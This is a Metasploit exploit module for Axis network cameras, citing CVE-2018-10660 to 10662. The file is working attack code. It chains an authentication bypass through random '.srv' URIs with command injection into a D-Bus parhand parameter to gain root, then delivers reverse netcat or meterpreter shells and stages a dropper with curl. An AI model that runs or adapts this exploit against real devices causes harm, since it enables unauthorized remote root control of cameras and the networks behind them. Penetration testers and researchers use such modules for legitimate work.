Axis Network Camera .srv-to-parhand RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Axis Network Camera .srv-to-parhand RCE',
        'Description' => %q{
          This module exploits an auth bypass in .srv functionality and a
          command injection in parhand to execute code as the root user.
        },
        'Author' => [
          'Or Peles',       # Vulnerability discovery (VDOO)
          'wvu',            # Metasploit module
          'sinn3r',         # Metasploit module
          'Brent Cook',     # Metasploit module
          'Jacob Robles',   # Metasploit module
          'Matthew Kienow', # Metasploit module
          'Shelby Pace',    # Metasploit module
          'Chris Lee',      # Metasploit module
          'Cale Black'      # Metasploit module
        ],
        'References' => [
          ['CVE', '2018-10660'],
          ['CVE', '2018-10661'],
          ['CVE', '2018-10662'],
          ['URL', 'https://blog.vdoo.com/2018/06/18/vdoo-discovers-significant-vulnerabilities-in-axis-cameras/'],
          ['URL', 'https://www.axis.com/files/faq/Advisory_ACV-128401.pdf']
        ],
        'DisclosureDate' => '2018-06-18',
        'License' => MSF_LICENSE,
        'Privileged' => true,
        'Targets' => [
          [
            'Unix In-Memory',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_memory,
              'Payload' => {
                'BadChars' => ' ',
                'Encoder' => 'cmd/ifs',
                'Compat' => {
                  'PayloadType' => 'cmd',
                  'RequiredCmd' => 'netcat-e'
                }
              },
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_ARMLE,
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => { 'WfsDelay' => 10 },
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => "/index.html/#{rand_srv}"
    )

    if res && res.code == 204
      return CheckCode::Appears('The target appears to be vulnerable')
    end

    CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    case target['Type']
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(flavor: :curl, nospace: true)
    end
  end

  def execute_command(cmd, _opts = {})
    send_request_cgi(
      'method' => 'POST',
      'uri' => "/index.html/#{rand_srv}",
      'vars_post' => {
        'action' => 'dbus',
        'args' => dbus_send(
          method: :set_param,
          param: "string:root.Time.DST.Enabled string:;(#{cmd})&"
        )
      }
    )

    send_request_cgi(
      'method' => 'POST',
      'uri' => "/index.html/#{rand_srv}",
      'vars_post' => {
        'action' => 'dbus',
        'args' => dbus_send(method: :synch_params)
      }
    )
  end

  def dbus_send(method:, param: nil)
    args = '--system --dest=com.axis.PolicyKitParhand ' \
           '--type=method_call /com/axis/PolicyKitParhand '

    args <<
      case method
      when :set_param
        "com.axis.PolicyKitParhand.SetParameter #{param}"
      when :synch_params
        'com.axis.PolicyKitParhand.SynchParameters'
      end

    args
  end

  def rand_srv
    "#{Rex::Text.rand_text_alphanumeric(8..42)}.srv"
  end

end